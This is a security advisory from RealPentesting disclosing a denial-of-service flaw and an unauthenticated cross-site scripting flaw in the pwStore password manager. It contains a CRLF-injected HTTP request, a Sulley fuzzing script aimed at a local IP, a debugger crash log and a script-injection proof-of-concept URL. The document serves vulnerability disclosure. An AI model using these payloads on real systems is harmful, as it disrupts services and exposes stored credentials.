- RealPentesting Advisory -
Title: MULTIPLE VULNERABILITIES IN PWSTORE 2010.8 . 30.0
Severity: Medium
History: 16.Apr . 2013 Vulnerability reported
Authors: Josep Pi Rodriguez, Pedro Guillen Nuñez, Miguel Angel de Castro Simon
Organization: RealPentesting
URL: http: / / www.realpentesting.blogspot.com
Product: Pwstore
Version: 2010.8 . 30.0
Vendor: Aultware
Url Vendor: http: / / www.aultware.com / pwstore.html
Platform: Windows
Type of vulnerability: Denial of Servive (DoS) AND Cross Site Scripting (XSS)
Issue fixed in version: (Not fixed)
CVE Identifiers: CVE - 2013 - 5657 (DoS), CVE - 2013 - 5658 (XSS)
[ DESCRIPTION SOFTWARE ]
From vendor website:
pwStore is a department / multi - user password management tool designed for small to medium sized IT groups.
The purpose of pwStore is to consolidate all of the department's passwords into one secure location while allowing for multiple users to access this information.
As of version 2.0 , pwStore has been re - written as a webserver and runs as a Windows service.
[ VULNERABILITY DETAILS ]
DENIAL OF SERVICE (DOS):
Pwstore suffers from a dos vulnerability.
In order to exploit the vulnerability You have to put the characters \x0d\x0a (Hexadecimal) after the HTTP Headers as you can see above:
- - - - - - - - - - - - - -
GET / HTTP / 1.1
HOST:\x0d\x0a
\r\n\r\n
- - - - - - - - - - - - - - -
We make using the sulley framework a poc code in order to exploit the vulnerability:
from sulley import *
import sys
import time
s_initialize( "HTTP" )
s_static( "GET / HTTP/1.1\r\n" )
s_static( "Host" )
s_static( ":\x0d\x0a" )
s_static( " " )
s_string( "192.168.1.39" )
s_static( "\r\n" )
s_static( "\r\n" )
print "Instantiating session"
sess = sessions.session(session_filename = "https_pwstore.session" , proto = "ssl" , sleep_time = 0.50 )
print "Instantiating target"
target = sessions.target( "192.168.1.39" , 443 )
target.procmon_options = {
"proc_name" : "savant.exe" ,
"stop_commands" : [ 'wmic process where (name="savant.exe") delete"' ],
"start_commands" : [ 'C:\\savant\\savant.exe' ],
}
print "Adding target"
sess.add_target(target)
print "Building graph"
sess.connect(s_get( "HTTP" ))
print "Starting fuzzing now"
sess.fuzz()
Evidence Log
- - - - - - - - -
( 2a4 .cfc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax = 00000000 ebx = 01c40062 ecx = 3fffffff edx = 00000003 esi = 01c40062 edi = 00000000
eip = 01017dce esp = 0155fd94 ebp = 0155fe98 iopl = 0 nv up ei pl nz na pe nc
cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010206
* * * WARNING: Unable to verify checksum for C:\pwStore\C70RUN.dll
* * * ERROR: Symbol file could not be found. Defaulted to export symbols for C:\pwStore\C70RUN.dll -
C70RUN!memcpy + 0x3a :
01017dce f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
CROSS SITE SCRIPTING (XSS):
The software suffers from a xss vulnerability too an this is in unatheunticated manner. You can check the vulnerability with this url POC:
https: / / 192.168 . 1.39 / ? 81c93 "><script>alert( 1 )< / script> 86eed54cabcc98664 = 1 &FormState = XJYDWJHIGP&tmp__UserName = aa&tmp__Password = aa&pressedButton = save_btn
[ VENDOR COMMUNICATION ]
16 / 04 / 2013 : vendor contacted but no response
20 / 04 / 2013 : vendor contacted again.No response
29 / 04 / 2013 : PUBLIC DISCLOSURE
|